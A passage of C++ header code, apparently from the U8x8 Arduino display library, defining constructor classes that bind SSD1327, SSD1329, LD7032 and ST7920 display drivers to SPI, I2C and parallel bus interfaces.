cs, reset); } }; class U8X8_SSD1327_WS_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_WS_128X128_6800 : public U8X8 { public: U8X8_SSD1327_WS_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_WS_128X128_8080 : public U8X8 { public: U8X8_SSD1327_WS_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_EA_W128128_SW_I2C : public U8X8 { public: U8X8_SSD1327_EA_W128128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_EA_W128128_HW_I2C : public U8X8 { public: U8X8_SSD1327_EA_W128128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_EA_W128128_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_EA_W128128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_MIDAS_128X128_SW_I2C : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_MIDAS_128X128_HW_I2C : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_MIDAS_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_WS_128X128_SW_I2C : public U8X8 { public: U8X8_SSD1327_WS_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_WS_128X128_HW_I2C : public U8X8 { public: U8X8_SSD1327_WS_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_WS_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_WS_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_VISIONOX_128X96_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_6800 : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_8080 : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_SW_I2C : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_VISIONOX_128X96_HW_I2C : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_VISIONOX_128X96_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_VISIONOX_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1329_128X96_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1329_128X96_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1329_128X96_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1329_128X96_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1329_128X96_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1329_128X96_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1329_128X96_NONAME_6800 : public U8X8 { public: U8X8_SSD1329_128X96_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1329_128X96_NONAME_8080 : public U8X8 { public: U8X8_SSD1329_128X96_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1329_96X96_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1329_96X96_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1329_96X96_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1329_96X96_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1329_96X96_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1329_96X96_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1329_96X96_NONAME_6800 : public U8X8 { public: U8X8_SSD1329_96X96_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1329_96X96_NONAME_8080 : public U8X8 { public: U8X8_SSD1329_96X96_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_LD7032_60X32_4W_SW_SPI : public U8X8 { public: U8X8_LD7032_60X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LD7032_60X32_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_60X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_60X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_60X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_60X32_ALT_4W_SW_SPI : public U8X8 { public: U8X8_LD7032_60X32_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LD7032_60X32_ALT_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_60X32_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_60X32_ALT_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_60X32_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_60X32_SW_I2C : public U8X8 { public: U8X8_LD7032_60X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_LD7032_60X32_HW_I2C : public U8X8 { public: U8X8_LD7032_60X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_LD7032_60X32_2ND_HW_I2C : public U8X8 { public: U8X8_LD7032_60X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_LD7032_60X32_ALT_SW_I2C : public U8X8 { public: U8X8_LD7032_60X32_ALT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_LD7032_60X32_ALT_HW_I2C : public U8X8 { public: U8X8_LD7032_60X32_ALT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_LD7032_60X32_ALT_2ND_HW_I2C : public U8X8 { public: U8X8_LD7032_60X32_ALT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_LD7032_128X36_4W_SW_SPI : public U8X8 { public: U8X8_LD7032_128X36_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LD7032_128X36_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_128X36_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_128X36_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LD7032_128X36_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LD7032_128X36_SW_I2C : public U8X8 { public: U8X8_LD7032_128X36_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_LD7032_128X36_HW_I2C : public U8X8 { public: U8X8_LD7032_128X36_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_LD7032_128X36_2ND_HW_I2C : public U8X8 { public: U8X8_LD7032_128X36_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7920_256X32_8080 : public U8X8 { public: U8X8_ST7920_256X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_256X32_6800 : public U8X8 { public: U8X8_ST7920_256X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_256X32_SW_SPI : public U8X8 { public: U8X8_ST7920_256X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7920_256X32_HW_SPI : public U8X8 { public: U8X8_ST7920_256X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_256X32_2ND_HW_SPI : public U8X8 { public: U8X8_ST7920_256X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_144X32_8080 : public U8X8 { public: U8X8_ST7920_144X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_144X32_6800 : public U8X8 { public: U8X8_ST7920_144X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_144X32_SW_SPI : public U8X8 { public: U8X8_ST7920_144X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7920_144X32_HW_SPI : public U8X8 { public: U8X8_ST7920_144X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_144X32_2ND_HW_SPI : public U8X8 { public: U8X8_ST7920_144X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { 